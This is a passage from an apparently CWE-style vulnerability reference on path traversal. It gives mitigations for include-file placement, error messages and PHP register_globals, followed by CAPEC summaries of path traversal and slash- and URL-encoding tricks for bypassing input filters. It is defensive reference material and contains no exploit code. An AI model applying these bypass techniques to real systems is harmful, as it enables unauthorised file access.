- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.